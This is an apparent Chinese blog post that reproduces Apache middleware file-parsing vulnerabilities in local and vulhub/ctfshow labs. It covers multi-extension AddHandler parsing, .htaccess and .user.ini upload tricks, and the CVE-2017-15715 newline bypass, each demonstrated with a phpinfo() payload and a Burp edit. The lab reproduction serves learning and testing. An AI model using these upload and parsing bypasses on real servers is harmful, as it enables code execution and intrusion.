当前位置:网站首页>中间件漏洞复现—apache
中间件漏洞复现—apache
2022-07-06 09:22:00 【又懒有菜】
目录
0x0d Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
0x0a httpd-conf配置不当(多文件名解析漏洞)
AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要含有.php后缀,就能被识别成PHP文件。
本地复现:
编辑文件h:ttpd-conf(apache/conf/http-conf):
添加:AddHandler application/x-httpd-php .php
编辑文件:phpinfo.php.jpg
写入:<?php phpinfo();?>
访问:127.0.0.1/phpinfo.php.jpg

0x0b .htaccess解析漏洞
AddType application/x-httpd-php .jpg 该路径下的jpg文件通过http都会被解析为php文件
本地复现:
上传.htaccess文件(本地)
编辑:AddType application/x-httpd-php .jpg
上传phpinfo.jpg文件(本地)
编辑:GIF89a<?php phpinfo();?>

访问: 127.0.0.1/phpinfo.jpg

0x0c .user.ini解析漏洞
环境ctfshow web 153
原理:php文件包含 .user.ini
auto_append_file=filename //同级目录每个php文件尾加上 include(“filename”)
auto_prepend_file=filename //同级目录文件头加上 include(“filename”)
上传 1.png
<?php phpinfo();?>

注意: 然后访问文件下的任意一个php即可 因为有index.php所以不需要上传php进行解析

0x0d Apache HTTPD 换行解析漏洞 (CVE-2017-15715)
环境:vulhub
影响版本:2.4.0~2.4.29版本
环境启动:
- 在CVE-2017-15715文件夹右键打开终端
- sudo docker-compose up -d
- 访问 ip+8000

burp抓包 修改参数值
在evil.php后面加c——>选中code修改——>0a



访问url:192.168.0.10:8080/evil.php%oa
总结: 思维导图

边栏推荐
- [the Nine Yang Manual] 2017 Fudan University Applied Statistics real problem + analysis
- Canvas foundation 1 - draw a straight line (easy to understand)
- 使用Spacedesk实现局域网内任意设备作为电脑拓展屏
- 自定义RPC项目——常见问题及详解(注册中心)
- Write a program to simulate the traffic lights in real life.
- .Xmind文件如何上传金山文档共享在线编辑?
- FAQs and answers to the imitation Niuke technology blog project (II)
- Zatan 0516
- 编写程序,模拟现实生活中的交通信号灯。
- 5月14日杂谈
猜你喜欢

强化学习基础记录

Reinforcement learning series (I): basic principles and concepts

1. First knowledge of C language (1)

Safe driving skills on ice and snow roads

7-7 7003 组合锁(PTA程序设计)

Nuxtjs快速上手(Nuxt2)

Yugu p1012 spelling +p1019 word Solitaire (string)

This time, thoroughly understand the MySQL index

Strengthen basic learning records

canvas基础1 - 画直线(通俗易懂)
随机推荐
7-6 矩阵的局部极小值(PTA程序设计)
The difference between cookies and sessions
自定义RPC项目——常见问题及详解(注册中心)
(original) make an electronic clock with LCD1602 display to display the current time on the LCD. The display format is "hour: minute: Second: second". There are four function keys K1 ~ K4, and the fun
FAQs and answers to the imitation Niuke technology blog project (III)
Miscellaneous talk on May 14
fianl、finally、finalize三者的区别
Force deduction 152 question multiplier maximum subarray
[MySQL database learning]
About the parental delegation mechanism and the process of class loading
关于双亲委派机制和类加载的过程
Experiment 6 inheritance and polymorphism
MATLAB打开.m文件乱码解决办法
扑克牌游戏程序——人机对抗
[insert, modify and delete data in the headsong educator data table]
7-15 h0161. 求最大公约数和最小公倍数(PTA程序设计)
强化学习基础记录
Zatan 0516
[面试时]——我如何讲清楚TCP实现可靠传输的机制
canvas基础2 - arc - 画弧线